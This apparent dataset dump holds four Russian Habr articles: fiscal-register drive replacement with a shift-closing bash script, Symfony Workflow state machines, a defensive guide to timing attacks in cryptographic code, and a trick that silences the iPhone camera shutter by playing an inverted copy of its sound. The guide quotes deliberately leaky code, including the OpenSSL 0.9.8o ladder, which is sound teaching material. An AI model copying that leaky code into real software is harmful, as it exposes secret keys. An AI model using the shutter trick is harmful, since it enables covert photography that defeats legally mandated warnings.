text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Замена фискального накопителя ККТ Кассир 57Ф
**Производилась замена ФН по истечении строка в обычном режиме через утилиту ТестФР (TestFR).**
Этапы:
* установить точное время на ККТ до открытия смены - сначала нужно установить точное время на компьютере windows - Дата и время > Часы для различных часовых поясов > Время по интернету > Изменить параметры > Обновить сейчас;
* в TestFR меню Сервис > кнопка установить системное время;
* в TestFR закрыть смену, если смена открыта - меню Смена > кнопка Закрыть смену со сменным отчетом;
* в TestFR закрыть ФН - меню ФН > кнопка отчет о закрытии фискального режима, скопировать себе на компьютер вывод отчета о закрытии ФН(фискального режима), чтобы ввести дату, время, номер ФД(фискального документа), номер ФП(фискального признака) отчета о закрытии ФН в ЛК налоговой при перерегистрации ККТ;
* проверить ушли ли данные в ОФД - в TestFR меню ФН > кнопка Получение состояния информационного обмена с ОФД, если Длина очереди для отправки в ОФД 0, то данные ушли, если 1 или более - подождать пока данные уйдут в ОФД. Причем отчет о закрытии ФН не открывает новую смену, номер смены пишет прежнюю и в ЛК ОФД не будет видно открытия смены и не будет понятно ушел ли отчет в ОФД или нет.
Для проверки обмена с ОФД, можно на сайте вашего ОФД на странице проверки чеков, проверить чек по номеру ККТ и ФП и убедиться что отчет о закрытии ФН ушел.
* отключить ККТ, открутить 4 болта снизу, осторожно вытащить плату снизу ККТ, чтобы не повредить ФН. Осторожно снять старый ФН и также осторожно вставить новый ФН, подключить ККТ к питанию и сети.
ККТ Кассир 57Ф имеет прошивку v3.5.30 и ФФД 1.05 и судя по рассылке ФНС прошивки с ФФД 1.2 на нем не планируется.
После вставки нового ФН-1.1M Ин36-1M на 36 месяцев вышла фатальная ошибка:
**MSGCODE: 28, Серийный номер ФН (\*\*\*\*\*\*\*\*\*\*\*\*\*\*), с которым осуществлялась регистрация не совпадает с тем, который установлен в устройстве (НЕТ РЕГИСТРАЦИИ)**
С этой ошибкой перерегистрация ККТ невозможна.
Чтобы ее решить нужно зайти в ТестФР - **меню Сервис > кнопка очистить данные**.
**Далее делаем перерегистрацию ККТ с заменой ФН:**
* в TestFR меню ФН > Регистрация ФН, вводим все поля заново, и ставим галки Код налогообложения и Режим работы, причем 2 поля не дало ввести (это нормально) - это Серийный номер ККТ и з/н ФН после регистрации, далее жмем тут же кнопку Установить.
* Далее проверяем правильность ввода данных - меню в ТестФР ФН > Состояние ФН > кнопка Печать регистрационных параметров, копируем себе вывод отчета на компьютер и проверяем правильность ввода данных, ошибок быть не должно это приведет к порче ФН и покупке нового ФН.
* Если все верно, делаем перерегистрацию ККТ - в TestFR меню ФН > Регистрация ФН > кнопка Отчет о перерегистрации с заменой ФН, копируем себе на компьютер вывод отчета о перерегистрации, чтобы ввести дату, время, номер ФД(фискального документа), номер ФП(фискального признака) отчета о перерегистрации в ЛК налоговой при перерегистрации ККТ.
В отчете о перерегистрации вышла ошибка - **ФФД ФН ОШИБКА 1190**, на форумах пишут, цитирую:
> `при установке ФН 36 1_1М под ФФД 1_05 на некоторых ККТ ( не на всех !) в распечатанном отчёте об активации возможно появление строки с текстом "ФФД ФН Ошибка 1190". Причина - у этих ФН_ов в тег 1190 всегда ставится флаг 4 ( ФФД 1_2). Карточка регистрации получена, в реестрах по номерам и ФН, и ККТ в норме, чеки бьются, в ЛК ОФД клиента все ФД приняты`
>
>
Думаю некритично.
bash скрипт для закрытия смены, нужно учитывать что обращения к ККТ по ip извне, должны быть разрешены только для определенных разрешенных в фаерволле ip:
`nano /home/user/kkt.sh`
```
#!/bin/bash
gpr() {
tr -dc 0-9a-f < /dev/urandom | head -c ${1:-23} | xargs
}
rid=$(gpr)
rid1=$(gpr)
mode=$(/usr/bin/curl -s http://192.168.1.22:4444/fr/api/v2/LongDeviceStatus \
-X POST \
-H 'Content-Type: application/json' \
-d '{
"RequestId": "'$rid'",
"Password": 1,
"Requests": [
{
"Path": "/fr/api/v2/LongDeviceStatus"
}
]
}'
)
#echo "$mode"
if [[ -z "$(echo "$mode" | grep -w "\"Mode\":4")" || "$(echo "$mode" | grep -w "\"Mode\":0")" ]] ; then
/usr/bin/curl -s http://192.168.1.22:4444/fr/api/v2/CloseTurn \
-X POST \
-H 'Content-Type: application/json' \
-d '{
"RequestId": "'$rid1'",
"Password": 30,
"Requests": [
{
"Path": "/fr/api/v2/CloseTurn"
}
]
}'
fi
```
где 192.168.1.22 внешний ip ККТ.
Можно установить этот bash скрипт в крон, например в 23:55, чтобы он автоматом закрывал смену этим запросом curl
Выставить права на запуск скрипта на линукс сервере и поставить в крон.
```
chmod 755 /home/user/kkt.sh
55 23 * * * /home/user/kkt.sh > /dev/null 2>&1
``` | https://habr.com/ru/post/574160/ | null | ru | null |
# Конечные автоматы на практике: Symfony Workflow
В университетские времена я столкнулся с такой математической абстракцией, как конечный автомат (КА). Эта модель была полезна для понимания и создания комбинированной логики. Спустя 15 лет КА вернулся в мою жизнь в виде компонента Symfony Workflow. В этой статье я расскажу, как наша команда при помощи Symfony Workflow улучшила код продукта Links.Sape, [переводя его с legacy](https://habr.com/ru/post/697904/).
### Теория: конечный автомат / машина состояний
Итак, в университете мы создавали системы на базе логических элементов И/ИЛИ, которые меняют состояние по входным сигналам, такие как АЛУ — арифметико-логическое устройство:
Схема работы арифметико-логического устройстваПо сути, это — аппаратная логика процессора, выполняющего математические операции, такие как сложение. Скажем, наш АЛУ умеет лишь складывать два пришедших операнда. Тогда систему можно определить таблицей истинности, перечислив все возможные операнды и результаты.
Такая система представляет собой КА — машину с конечными числом состояний (finite state machine, FSM):
[*Коне́чный автома́т (КА)*](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D0%B5%D1%87%D0%BD%D1%8B%D0%B9_%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82) *в теории алгоритмов — математическая абстракция, модель дискретного устройства, имеющего один вход, один выход и в каждый момент времени находящегося в одном состоянии из множества возможных.*
Конечный автомат мы можем описать различными способами. Давайте разберём их.
### Способ описания: диаграмма состояний конечного автомата
Графический способ представления. Систему можно изобразить как размеченный ориентированный граф, вершины которого представляют собой *состояния* КА, дуги — *переходы* между состояниями, а метки этих дух называют *символами*, по которым осуществляется переход из одного состояния в другое. Символы ещё можно назвать сигналами, по которым меняется система. В случае АЛУ на схеме выше символами будут приходящие на вход операнды.
Пример [из Wikipedia](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D0%B5%D1%87%D0%BD%D1%8B%D0%B9_%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82):
Граф переходов КАМы видим, что изначально наша система приходит в состояние **p0**, после чего по символу (сигналу) **a** переходит в состояние **p1**, и так далее. Из состояния **p2** есть два возможных перехода: в состояние **p3** и **p4**, в зависимости от символа. Обратим также внимание на другие случаи: возможен циклический переход из состояния **p3** в **p5** и наоборот, а также сохранение состояния **p4** по символу **b**.
### Способ описания: таблица переходов конечного автомата
Это табличный способ описания системы. Здесь мы перечисляем все возможные варианты состояния системы. Например, так:
Таблица истинности КАКаждая строка соответствует одному состоянию, а столбец — один допустимый входной символ. В ячейке на пересечении строки и столбца записывается состояние, в которое должен перейти автомат, если в данном состоянии он считал данный входной символ.
### Проблемы legacy-кода, решаемые при помощи абстракции КА
В предметной области нашей биржи ссылок есть сущность ссылки. Она покупается рекламодателем и размещается исполнителем, проходя различные этапы, такие как подтверждение с той или иной стороны, “засыпание” в случае неоплаты или ручного замораживания, удаление и т.п. Эти состояния определяются статусами. Ссылку с параметром её статуса можно назвать конечным автоматом. Действительно, по сигналу — некоторому действию пользователя или событию системы — она меняет статус, приходя в новое состояние.
Однако в реализации работы со ссылкой в legacy-коде отсутствует системность. Проблемы очевидные:
1. Изменения статусов происходят в произвольных местах, прямым запросом к БД. Сложно найти, кто и по каким причинам его меняет.
2. Логика разрастается, появляются вложенные методы и неочевидные взаимосвязи. Со временем отслеживание логики изменения статусов становится очень сложным. Чтобы распутать логику, нужно много времени. Возрастает вероятность ошибки.
В другом нашем проекте, связанном со статейными ссылками, используется ORM Doctrine 1. Добавляется ещё одна проблема: часть изменений вносится на уровне хуков на запись (магический метод *save()*, который вызывается при сохранении данных сущности в БД), что влечёт за собой неявное поведение. Например, бизнес-логика какого-либо сервиса выставляет статус, вызывает сохранение в БД, а метод save() самостоятельно меняет статус на другой. Обнаружить в таком случае ошибку может быть очень непросто.
В целом подход с ручной установкой статуса страдает общей проблемой: смена статуса (грубо говоря, SQL-команда UPDATE) происходит безусловно, без учёта того, какой был исходный статус. Безусловно, можно попробовать описать эту логику в коде, обложившись ветвлениями, или даже составив массив возможных переходов, но это — велосипед, потому что существует абстракция более высокого уровня, которую мы можем использовать.
### Знакомимся: Symfony Workflow
Однажды я изучал [список доступных компонентов Symfony](https://symfony.com/components) и заметил Symfony Workflow. Если люди потратили время и подготовили библиотеку, они увидели важность в каком-то обобщении. За каждым компонентом стоит своя задача, решение которой можно обобщить и переиспользовать. Интересно углубиться и понять, в чём эта задача и насколько хорошо решение. Workflow оказался реализацией КА с целым рядом полезностей.
*Компонент Workflow предоставляет вам объектно-ориентированный способ для определения процесса или жизненного цикла, через который проходит ваш объект. Каждый шаг или этап в процессе называется* ***местом****. Вы также определяете* ***переходы****, которые описывают действие для перемещения из одного места в другое. Набор мест и переходов создаёт* ***определение****.*
The Fast Track, [“Управление состоянием с помощью Workflow”](https://symfony.com/doc/current/the-fast-track/ru/19-workflow.html).
(Я выделил термины, чтобы показать связь с терминологией КА.)
Перерабатывая наш legacy-код, я решил использовать Workflow для описания статуса ссылок в нашем новом приложении.
### Описание статуса ссылок через Workflow
Workflow предлагает описание определений в том числе через YAML. В таком случае оно должно располагаться в файле *config/packages/workflow.yaml*.
Посмотрите фрагмент определения арендных ссылок нашего нового приложения:
Определение бизнес-процесса placement\_rentБизнес-процесс называется *placement\_rent*. Он представляет собой машину состояний (*type: state\_machine*). Параметр *marking\_store* определяет, каким образом Workflow может получить состояние системы. Мы описали, что это можно сделать при помощи метода (*type: 'method'*), а именно, *getStatusConstantName()* (*property: 'statusConstantName'*). Бизнес-процесс применим к сущности *App\Entity\Mysql\Placement* Doctrine (описана в свойстве *supports*). Исходное состояние — статус ссылки STATUS\_PHANTOM (определили в *initial\_marking*).
Статус STATUS\_PHANTOM мы используем как технический. В таком статусе ссылка никогда не должна быть показана в UI. Он существует на случай, если в процессе создания ссылки произошёл критический сбой. Но это уже особенность бизнес-логики.
Далее описываются места (places) и определения (transitions). Places — те статусы, в которых может оказаться ссылка. Transitions - названия возможных переходов. From — из какого статуса, to — в какой. В поле metadata можно записать любую сопроводительную информацию. Мы используем его для человекочитаемого представления перехода. Например, его можно отображать в UI.
В нашем случае в качестве актора выступает как рекламодатель, так и исполнитель, и для них доступны различные действия. Мы используем постфиксы \_seo / \_wm для ограничения переходов по ролям пользователя.
Метод *getStatusConstantName()* преобразует ID статуса ссылки в переход Workflow. Этот метод - связующее звено между двумя системами: Workflow и Doctrine. Благодаря ему мы приводим в соответствие терминологию этих двух систем. Реализация у него такая:
```
/**
* Получить имя константы статуса.
*
* @return string
* @throws Exception
*/
public function getStatusConstantName(): string
{
$constantName = null;
$reflectionClass = new ReflectionClass($this);
foreach ($reflectionClass->getConstants() as $constantsName => $constantValue) {
if (!is_array($constantValue)) {
if ($constantValue === $this->status) {
$constantName = $constantsName;
break;
}
}
}
return $constantName;
}
```
Теперь посмотрим, как наше определение используется на практике.
### API-метод получения информации о ссылке
В нашем API есть метод *Placements.viewPlacement* (я использую тег-интерфейс OpenAPI). Он предоставляет как базовую информацию для отображения пользователю, так и список доступных действий со ссылкой. Описание в OpenAPI (в сокращении):
```
"/rest/Placement/{placementId}": {
"get": {
"tags": [
"Placements"
],
"summary": "Получение информации о ссылке",
"operationId": "viewPlacement",
"parameters": [
{
"$ref": "#/components/parameters/placementId"
}
],
"responses": {
"200": {
"description": "Информация о ссылке",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"id": {
"type": "integer",
"format": "int32",
"title": "ID ссылки",
"minimum": 1
},
"placementUrl": {
"type": "string",
"format": "uri",
"title": "URL размещения"
},
"placementActions": {
"type": "array",
"title": "Список доступных действий над ссылкой",
"items": {
"$ref": "#/components/schemas/PlacementAction"
}
}
}
}
}
}
},
"400": {
"$ref": "#/components/responses/ResponseBadParameters"
},
"401": {
"$ref": "#/components/responses/ResponseUnauthorized"
},
"403": {
"$ref": "#/components/responses/ResponsePermissionDenied"
},
"404": {
"$ref": "#/components/responses/ResponseNotFound"
}
},
"security": [
{
"bearerAuth": []
}
]
}
},
```
*placementActions* — это список доступных действий. Каждое из действий определено так (*#/components/schemas/PlacementAction*):
```
"PlacementAction": {
"type": "string",
"title": "Действие над ссылкой",
"enum": [
"create_unapproved_seo", "create_unapproved_wm", "create_approved_seo", "approve_wm", "sleep_manual_seo", "unsleep_manual_seo", "sleep_billing_robot", "unsleep_robot", "approve_autobuyer_seo", "guarantee_wm", "cancel_seo", "cancel_rework_not_news_robot", "cancel_rework_news_robot", "cancel_termination_seo", "terminate_seo", "terminate_wm", "cancel_wm", "cancel_robot", "restore_rejected_unapproved_robot", "restore_rejected_approved_robot", "clarificate_wm", "arbitrate_seo", "approve_seo", "return_to_improve_seo", "place_wm", "error_to_robot", "error_from_robot", "terminate_robot"
]
}
```
В поле *placementActions* этого API-метода мы предоставляем автоматически генерируемый список доступных для ссылки действий (переходов Symfony Workflow).
Фрагмент реализации получения списка доступных для ссылки действий:
```
/**
* Получить названия доступных переходов для ссылки.
*
* @param Placement $placement
* @param string $userRole
* @return string[]
*/
public function getTransitionsNamesForPlacement(Placement $placement, string $userRole): array
{
$stateMachine = $this->placementRentStateMachine;
$transitionsEnabled = $stateMachine->getEnabledTransitions($placement);
$transitionsEnabledNames = [];
foreach ($transitionsEnabled as $transition) {
if (!$this->canRoleAccessTransition($userRole, $transition->getName())) {
continue;
}
$transitionsEnabledNames[] = $transition->getName();
}
return $transitionsEnabledNames;
}
```
Получаем определение для переданного типа ссылок, затем получаем список переходов машины состояний Symfony Workflow (*getEnabledTransitions*). Затем добавляем бизнес-логику поверх машины состояний — отфильтровываем доступные действия по роли пользователя (то, что в определении мы организовали при помощи постфиксов \_seo / \_wm).
### API-метод выполнения действия над ссылкой
Другой пример API-метода — *Placements.executePlacementsAction*. Он выполняет действие над ссылкой.
В OpenAPI он выглядит так (в сокращении):
```
"/rest/Placements/action": {
"post": {
"tags": [
"Placements"
],
"summary": "Выполнить действие над ссылками",
"operationId": "executePlacementsAction",
"requestBody": {
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"action": {
"$ref": "#/components/schemas/PlacementAction"
},
"placementIds": {
"type": "array",
"title": "Массив ID ссылок для выполнения действия",
"items": {
"type": "integer",
"format": "int32",
"title": "ID ссылки",
"minimum": 1
}
}
}
}
}
}
},
"responses": {
…
```
Мы видим уже знакомую схему *PlacementAction*. Эта схема снова используется в этом методе.
Фрагмент реализации установки статуса (упущена валидация):
```
$availableStatuses = $this->workflowService->getTransitionStatusesByName($request->action);
if (!empty($availableStatuses)) {
$endStatusName = $availableStatuses->getTos()[0];
$placement->setStatus(constant(Placement::class . '::' . $endStatusName));
$this->placementModelService->savePlacement($placement);
$response->placementIds[] = $placement->getId();
} else {
$error = new PlacementsExecutePlacementsActionErrors();
$error->placementId = $placement->getId();
$error->error = $this->translator->trans('Неизвестный конечный статус перехода');
$response->errors[] = $error;
}
```
Благодаря Workflow мы обобщили действия над ссылками. Нет необходимости давать отдельные определения для подтверждения, отмены или чего-либо ещё. Возможное действие через API доступно в поле *placementActions* у метода *Placements.viewPlacement* и оно в неизменном виде может быть передано на вход *Placements.executePlacementsAction*. Например, это очень удобно для UI, который прокидывает в компонент действия всё, что получит из API:
Фрагмент UI Links.Sape### Бонус: автоматизированная валидация действий
Благодаря тому, что в каждом состоянии системы мы знаем все возможные переходы, мы можем написать валидатор для параметра “PlacementAction”:
```
/**
* Проверить валидность действия над ссылками
*
* @param string|null $action
* @param ExecutionContextInterface $context
*/
public function validatePlacementActionAvailable(?string $action, ExecutionContextInterface $context): void
{
if (is_null($action)) {
return;
}
$transitions = $this->workflowService->getAllTransitionsListByUserRole($this->userModelService->getRole());
$isActionAvailable = false;
if (!empty($transitions)) {
foreach ($transitions as $transition) {
if ($transition->getName() === $action) {
$isActionAvailable = true;
break;
}
}
}
if (!$isActionAvailable) {
$context
->buildViolation($this->translator->trans('Некорректное действие'))
->atPath('placementId')
->addViolation();
}
}
```
В *getAllTransitionsListByUserRole()* находится получение доступных переходов из Workflow (встроенный метод *getTransitions()*), а также добавлена логика учёта роли пользователя.
### Граф переходов статусов ссылок ссылок
Удобно, но и это ещё не всё. Symfony Workflow умеет автоматически генерировать граф переходов, который очень напоминает то, что мы видели в теоретической части этой статьи:
Граф переходов арендных ссылок сгенерирован автоматически встроенными средствами Symfony Workflow. Он создаётся командой вида
```
php bin/console workflow:dump placement_rent | dot -Tpng -o placement_rent_workflow.png
```
Теперь можно встроить в CI/CD-систему автоматическое обновление документации, чтобы этот граф генерировался при каждом изменении определения бизнес-процесса.
### Что мы получили в итоге?
Workflow позволил нам:
1. Структурно описать бизнес-правила для жизненного цикла статуса ссылки.
Нет необходимости писать сопутствующий код в виде ветвлений или табличек. Вся логика находится в одном месте — в определении бизнес-процесса. Теперь у нас есть источник истины. Причём, он никак не связан с кодом.
2. В соответствии с ними валидировать возможные переходы.
Не нужно описывать правила в каждом месте использования. В том числе исчезает дублирование логики, поскольку за нас заботой о переходах занята машина состояний Workflow.
3. Предоставлять список возможных переходов в API.
Список создаётся автоматически, всегда актуален. Вероятность допустить ошибку существенно снижается.
4. Графически представить переходы статусов, исходный и конечные статусы.
Можно передать QA-отделу, менеджерам, техподдержке. Можно проверять корректность визуально: если у места (вершины графа) нет исходящего перехода, это либо конечный конечный статус, либо ошибка. Также легко увидеть “оторванные” вершины —– статусы, из которых нельзя выйти. Графическое представление очень помогает в процессе проектирования и наладки системы.
Теперь мы абсолютно уверены в том, что описанные определением переходы статусов работают верно, а в случае сомнений мы можем передать его в виде графа менеджерам проекта или отделу по контролю качества. Если у пользователей возникают вопросы, то техническая поддержка может быстрее решить их без участия отдела разработки. Благодаря этому разработка стала прозрачнее, снизилась нагрузка на истолкования и пояснения по логике, формализованной в коде. | https://habr.com/ru/post/702078/ | null | ru | null |
# Безопасное криптопрограммирование. Часть 1
В данном посте мы бы хотели познакомить пользователей Хабра с базовыми правилами программирования криптографических алгоритмов. Этот набор правил под названием «Стандарт криптографического программирования» (“Cryptography coding standard”) был создан в 2013 году по инициативе одного из гуру современной криптографии [Жана-Филиппа Омассона](https://131002.net/). Несмотря на то, что описанные в нем подходы хорошо известны тем, кто профессионально занимается разработкой систем защиты, новичкам и студентам, думаем, будет интересно ознакомиться с предлагаемым текстом, являющимся переводом набора правил с сайта [cryptocoding.net](https://cryptocoding.net).
1. Сравнивайте строки секретных данных за постоянное время
===========================================================
### Проблема
Побайтовое сравнение строк может быть использовано для реализации атак, использующих информацию о времени выполнения программы (так называемых тайминг-атаки), например, для подделки кодов аутентификации сообщений MAC (см. об уязвимости в криптобиблиотеке [Google Keyczar](http://rdist.root.org/2009/05/28/timing-attack-in-google-keyczar-library/)).
Встроенные реализации функционала сравнения, такие как функция memcmp , метод Arrays.equals (Java) или оператор == (Python), обычно не выполняются за постоянное время. Рассмотрим, например, реализацию [memcmp] из [Microsoft CRT](http://research.microsoft.com/en-us/um/redmond/projects/invisible/src/crt/memcmp.c.htm):
```
EXTERN_C int __cdecl memcmp(const void *Ptr1, const void *Ptr2, size_t Count)
{
INT v = 0;
BYTE *p1 = (BYTE *)Ptr1;
BYTE *p2 = (BYTE *)Ptr2;
while(Count-- > 0 && v == 0) {
v = *(p1++) - *(p2++);
}
return v;
}
```
### Решение
Используйте функции сравнения, выполняемые за фиксированное время, такие как предлагаемая в библиотеке NaCL:
```
int crypto_verify(const unsigned char *x,const unsigned char *y)
{
unsigned int differentbits = 0;
#define F(i) differentbits |= x[i] ^ y[i];
F(0)
F(1)
F(2)
F(3)
F(4)
F(5)
F(6)
F(7)
F(8)
F(9)
F(10)
F(11)
F(12)
F(13)
F(14)
F(15)
return (1 & ((differentbits - 1) >> 8)) - 1; /* returns 0 if equal, 0xFF..FF otherwise */
}
```
Более общая версия этого же подхода следующая:
```
int util_cmp_const(const void * a, const void *b, const size_t size)
{
const unsigned char *_a = (const unsigned char *) a;
const unsigned char *_b = (const unsigned char *) b;
unsigned char result = 0;
size_t i;
for (i = 0; i < size; i++) {
result |= _a[i] ^ _b[i];
}
return result; /* returns 0 if equal, nonzero otherwise */
}
```
Рассмотрим примеры реализации функций сравнения и тестов для 32-битных значений, выполняемых за фиксированное время:
```
#include
/\* Сравнение беззнаковых величин \*/
/\* Возвращает 1 если условие выполнено, 0 в противном случае\*/
int ct\_isnonzero\_u32(uint32\_t x)
{
return (x|-x)>>31;
}
int ct\_iszero\_u32(uint32\_t x)
{
return 1 ^ ct\_isnonzero\_u32(x);
}
int ct\_neq\_u32(uint32\_t x, uint32\_t y)
{
return ((x-y)|(y-x))>>31;
}
int ct\_eq\_u32(uint32\_t x, uint32\_t y)
{
return 1 ^ ct\_neq\_u32(x, y);
}
int ct\_lt\_u32(uint32\_t x, uint32\_t y)
{
return (x^((x^y)|((x-y)^y)))>>31;
}
int ct\_gt\_u32(uint32\_t x, uint32\_t y)
{
return ct\_lt\_u32(y, x);
}
int ct\_le\_u32(uint32\_t x, uint32\_t y)
{
return 1 ^ ct\_gt\_u32(x, y);
}
int ct\_ge\_u32(uint32\_t x, uint32\_t y)
{
return 1 ^ ct\_lt\_u32(x, y);
}
/\* Сравнение знаковых величин \*/
/\* Возвращает 1 если условие выполнено, 0 в противном случае\*/
int ct\_isnonzero\_s32(uint32\_t x)
{
return (x|-x)>>31;
}
int ct\_iszero\_s32(uint32\_t x)
{
return 1 ^ ct\_isnonzero\_s32(x);
}
int ct\_neq\_s32(uint32\_t x, uint32\_t y)
{
return ((x-y)|(y-x))>>31;
}
int ct\_eq\_s32(uint32\_t x, uint32\_t y)
{
return 1 ^ ct\_neq\_s32(x, y);
}
int ct\_lt\_s32(uint32\_t x, uint32\_t y)
{
return (x^((x^(x-y))&(y^(x-y))))>>31;
}
int ct\_gt\_s32(uint32\_t x, uint32\_t y)
{
return ct\_lt\_s32(y, x);
}
int ct\_le\_s32(uint32\_t x, uint32\_t y)
{
return 1 ^ ct\_gt\_s32(x, y);
}
int ct\_ge\_s32(uint32\_t x, uint32\_t y)
{
return 1 ^ ct\_lt\_s32(x, y);
}
/\* Generate a mask: 0xFFFFFFFF if bit != 0, 0 otherwise \*/
uint32\_t ct\_mask\_u32(uint32\_t bit)
{
return -(uint32\_t)ct\_isnonzero\_u32(bit);
}
/\* Возвращает x или y в зависимости от значения параметра bit\*/
/\* Эквивалентно: return bit ? x : y \*/
uint32\_t ct\_select\_u32(uint32\_t x, uint32\_t y, uint32\_t bit)
{
uint32\_t m = ct\_mask\_u32(bit);
return (x&m) | (y&~m);
/\* return ((x^y)&m)^y; \*/
}
```
Указанные подходы не дают никаких гарантий: C и C++ используют правило [“как если бы”](http://en.cppreference.com/w/cpp/language/as_if), которое позволяет компилятору реализовывать операции произвольным образом, в случае если наблюдаемое поведение программы (время выполнения не считается наблюдаемым поведением в обоих языках) остается неизменным. Например, рассмотрим следующий вариант ct\_select\_u32:
```
uint32_t ct_select_u32(uint32_t x, uint32_t y, _Bool bit)
{
uint32_t m = ct_mask_u32(bit);
return (x&m) | (y&~m);
}
```
Если мы теперь скомпилируем данный код с параметрами clang-3.5 -O2 -m32 -march=i386, то получим в результате:
```
ct_select_u32:
mov al, byte ptr [esp + 12]
test al, al
jne .LBB0_1
lea eax, dword ptr [esp + 8]
mov eax, dword ptr [eax]
ret
.LBB0_1:
lea eax, dword ptr [esp + 4]
mov eax, dword ptr [eax]
ret
```
Вследствие неравномерной скорости выполнения команд условных переходов данный код потенциально может раскрывать выбранное секретное значение. Поскольку компилятор имеет практически неограниченную свободу в генерации кода, который может выполняться за различное время, необходимо проверять итоговую сборку на предмет выполнения за фиксированное время.
Избегайте ветвлений программы, зависящих от секретных данных
============================================================
### Проблема
Если условное ветвление программы (if, switch, while, for) зависит от секретных данных, то исполняемый код, так же как и время его исполнения, зависит от секретных данных.
Классическим примером использования этой уязвимости являются тайминг-атаки на алгоритмы возведения в степень на основе возведения в квадрат и умножения (или удвоения и сложения для алгоритмов, использующих эллиптические кривые).
Частным случаем данной проблемы являются циклы, в которых граничное значение счетчика зависит от секретного значения.
### Решение
Утечкам по времени выполнения программы можно противодействовать, вставляя операции-пустышки в ветви программы с тем, чтобы гарантировать фиксированное время ее выполнения. Однако гораздо более надежным является полностью избегать ветвлений, например, путем реализации условных операторов в виде прямолинейной программы. Например, выбор из двух входов |a| и |b| в зависимости от управляющего бита |bit| можно реализовать следующим образом:
```
unsigned select (unsigned a, unsigned b, unsigned bit)
{
/* -0 = 0, -1 = 0xff....ff */
unsigned mask = - bit;
unsigned ret = mask & (a^b);
ret = ret ^ a;
return ret;
}
```
Для процессоров Intel возможно более быстрое решение, которое основано на использовании инструкций условного перехода [CMOV](http://www.jaist.ac.jp/iscenter-new/mpc/altix/altixdata/opt/intel/vtune/doc/users_guide/mergedProjects/analyzer_ec/mergedProjects/reference_olh/mergedProjects/instructions/instruct32_hh/vc35.htm).
Избегайте обращений к таблице с адресацией, зависящей от секретных данных
=========================================================================
### Проблема
Время обращения к элементу таблицы может варьироваться в зависимости от значения его индекса (например, если элемент не находится в кэше). Данный эффект был использован в ряде кэш-атак на AES.
### Решение
Замените обращения к таблице последовательностью логических операций с постоянным временем исполнения, например, с помощью использования техники бит-слайс.
Избегайте циклов, в которых граничное значение счетчика зависит от секретного значения
======================================================================================
### Проблема
Цикл с граничным значением счетчика, которое зависит от секретного значения непосредственно делает программу уязвимой к атакам по времени выполнения. Например, реализация лестницы Монтгомери (алгоритма возведения в степень) в OpenSSL 0.9.8o допускала утечку информации о логарифме (секретном случайном числе) в алгоритме ECDSA, которую можно было использовать, чтобы получить секретный ключ TLS сервера. Соответствующий программный код представлен ниже. Здесь |scalar| – секретное случайное число, а |scalar->d| – указатель на массив его битов:
```
/* find top most bit and go one past it */
i = scalar -> top - 1; j = BN_BITS2 - 1;
mask = BN_TBIT ;
while (!( scalar -> d[i] & mask )) { mask >>= 1; j --; }
mask >>= 1; j - -;
/* if top most bit was at word break , go to next word */
if (! mask )
{
i - -; j = BN_BITS2 - 1;
mask = BN_TBIT ;
}
for (; i >= 0; i - -)
{
for (; j >= 0; j - -)
{
if ( scalar ->d[ i] & mask )
{
if (! gf2m_Madd ( group , & point ->X , x1 , z1 , x2 , z2 , ctx )) goto err ;
if (! gf2m_Mdouble ( group , x2 , z2 , ctx )) goto err ;
}
else
{
if (! gf2m_Madd ( group , & point ->X , x2 , z2 , x1 , z1 , ctx )) goto err ;
if (! gf2m_Mdouble ( group , x1 , z1 , ctx )) goto err ;
}
mask >>= 1;
}
j = BN_BITS2 - 1;
mask = BN_TBIT;
}
```
### Решение
Удостоверьтесь, что число итераций во всех циклах ограничено константой (или по крайней мере, некоторой несекретной переменной).
В частности, удостоверьтесь, насколько это возможно, что границы циклов и ситуации, в которых значения счетчика превосходят эти границы или не достигают их, не зависят от контролируемых пользователем входных данных (никому ведь не нужен свой авторский [Heartbleed](http://heartbleed.com)?).
Продолжение следует… | https://habr.com/ru/post/268113/ | null | ru | null |
# Активное шумоподавление звука затвора в камере мобильного устройства
Камеры мобильных устройств Android/iOS/etc. при фотосъёмке издают характерный звук срабатывания затвора. В некоторых странах это требуется законодательно. Но что делать, если нашей программе нужно всё-таки беззвучно снять фотографию, пусть даже незаметно для пользователя? Такой способ есть.
Пользователь Хабрахабра [k06a](http://habrahabr.ru/users/k06a/) (Антон Буков) на Stackoverflow предложил [универсальный способ](http://stackoverflow.com/a/23758876/440168), который должен работать на всех платформах. Он предлагает использовать активное шумоподавление, то есть инвертировать звук и запустить инвертированную копию непосредственно перед оригинальной. Мы получаем абсолютно беззвучную фотосъёмку!
k06a объясняет на примере iOS.
1. Записываем системный звук затвора. Пути, по которым звуки лежат в файловой системе, можно посмотреть в коде [iOSSystemSoundsLibrary](https://github.com/TUNER88/iOSSystemSoundsLibrary).
```
NSString *path = @"/System/Library/Audio/UISounds/photoShutter.caf";
NSString *docs = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) lastObject];
NSData *data = [NSData dataWithContentsOfFile:path];
[data writeToFile:[docs stringByAppendingPathComponent:@"photoShutter.caf"] atomically:YES];
```
2. Извлекаем файл `photoShutter.caf` из папки Documents, можно использовать DiskAid for Mac.
3. Открываем `photoShutter.caf` в звуковом редакторе (Audacity) и применяем инвесрсию.
4. Сохраняем получившийся звук в iOS и запускаем непосредственно перед `captureStillImageAsynchronouslyFromConnection`.
```
static SystemSoundID soundID = 0;
if (soundID == 0) {
NSString *path = [[NSBundle mainBundle] pathForResource:@"photoShutter2" ofType:@"caf"];
NSURL *filePath = [NSURL fileURLWithPath:path isDirectory:NO];
AudioServicesCreateSystemSoundID((__bridge CFURLRef)filePath, &soundID);
}
AudioServicesPlaySystemSound(soundID);
[self.stillImageOutput captureStillImageAsynchronouslyFromConnection:
...
```
Антон уверяет, что работает отлично.
